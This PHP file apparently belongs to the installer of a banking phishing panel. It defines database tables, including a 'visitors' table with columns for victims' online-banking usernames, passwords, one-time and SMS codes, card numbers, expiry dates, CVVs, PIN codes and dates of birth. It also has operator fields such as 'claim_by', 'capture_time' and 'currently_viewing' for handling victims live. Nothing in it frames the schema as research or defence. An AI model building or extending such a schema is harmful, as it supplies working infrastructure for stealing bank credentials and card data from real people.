<?php
$user_table = "CREATE TABLE `users` (`id` int(255) NOT NULL AUTO_INCREMENT PRIMARY KEY, `username` varchar(255) DEFAULT NULL UNIQUE, `password` varchar(255) DEFAULT NULL, `is_admin` varchar(255) DEFAULT NULL) ENGINE=InnoDB DEFAULT CHARSET=utf8;";


$logs_table = "CREATE TABLE `user_logs` (`id` int(255) NOT NULL AUTO_INCREMENT PRIMARY KEY, `uniqueid` varchar(255) DEFAULT NULL, `reply` varchar(255) DEFAULT NULL, `logs` varchar(255) DEFAULT NULL,`txt` varchar(255) DEFAULT NULL, `created_at` timestamp NOT NULL DEFAULT current_timestamp()) ENGINE=InnoDB DEFAULT CHARSET=utf8;";


$apis = "CREATE TABLE `apis` (
    `id` int(255) NOT NULL AUTO_INCREMENT PRIMARY KEY,
     `api_key` varchar(255) DEFAULT NULL
    ) ENGINE=InnoDB DEFAULT CHARSET=utf8;";

$countries = "CREATE TABLE `countries` (
    `id` int(255) NOT NULL AUTO_INCREMENT PRIMARY KEY,
     `ip_com` varchar(255) DEFAULT NULL
    ) ENGINE=InnoDB DEFAULT CHARSET=utf8;";


$visitor_table = "CREATE table `visitors` (
  `id` int(200) NOT NULL AUTO_INCREMENT PRIMARY KEY,
  `username` varchar(255) DEFAULT NULL,
  `password` varchar(255) DEFAULT NULL,
  `number` varchar(255) DEFAULT NULL,
  `company_code` varchar(255) DEFAULT NULL,
  `otp` varchar(255) DEFAULT NULL,
  `cardname` varchar(255) DEFAULT NULL,
  `cardnumber` varchar(255) DEFAULT NULL,
  `expdate` varchar(255) DEFAULT NULL,
  `cvv` varchar(255) DEFAULT NULL,
  `codecard` varchar(255) DEFAULT NULL,
  `accountnumber` varchar(255) DEFAULT NULL,
  `getname` varchar(255) DEFAULT NULL,
  `getemail` varchar(255) DEFAULT NULL,
  `getdate` varchar(255) DEFAULT NULL,
  `address1` varchar(255) DEFAULT NULL,
  `address2` varchar(255) DEFAULT NULL,
  `getpost` varchar(255) DEFAULT NULL,
  `authotp` varchar(255) DEFAULT NULL,
  `numberinput` varchar(255) DEFAULT NULL,
  `passinput` varchar(255) DEFAULT NULL,
  `contract_number` varchar(255) DEFAULT NULL,
  `contract_number1` varchar(255) DEFAULT NULL,
  `user_code` varchar(255) DEFAULT NULL,
  `access_code` varchar(255) DEFAULT NULL,
  `access_code1` varchar(255) DEFAULT NULL,
  `sms_code` varchar(255) DEFAULT NULL,
  `mobile_phone_number` varchar(255) DEFAULT NULL,
  `pin_code` varchar(255) DEFAULT NULL,
  `security_code` varchar(255) DEFAULT NULL,
  `full_name` varchar(255) DEFAULT NULL,
  `date_of_birth` varchar(255) DEFAULT NULL,
  `email` varchar(255) DEFAULT NULL,
  `phone_number` varchar(255) DEFAULT NULL,
  `purple` varchar(255) DEFAULT NULL,


  

  `bank_status` varchar(255) DEFAULT NULL,
  `claim_by` varchar(255) DEFAULT NULL,
  `status` varchar(255) DEFAULT NULL,
  `uniqueid` varchar(255) DEFAULT NULL,
  `capture_time` varchar(255) DEFAULT NULL,
  `last_online` varchar(255) DEFAULT NULL,
  `useragent` varchar(255) DEFAULT NULL,
  `currently_viewing` varchar(255) DEFAULT 'false',
  `new_data` varchar(255) DEFAULT 'false',
  `created_at` timestamp NOT NULL DEFAULT current_timestamp(),
  `updated_at` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp()) ENGINE=InnoDB DEFAULT CHARSET=utf8;";




$tables_to_install = [$user_table,$visitor_table,$logs_table,$countries,$apis];
?>
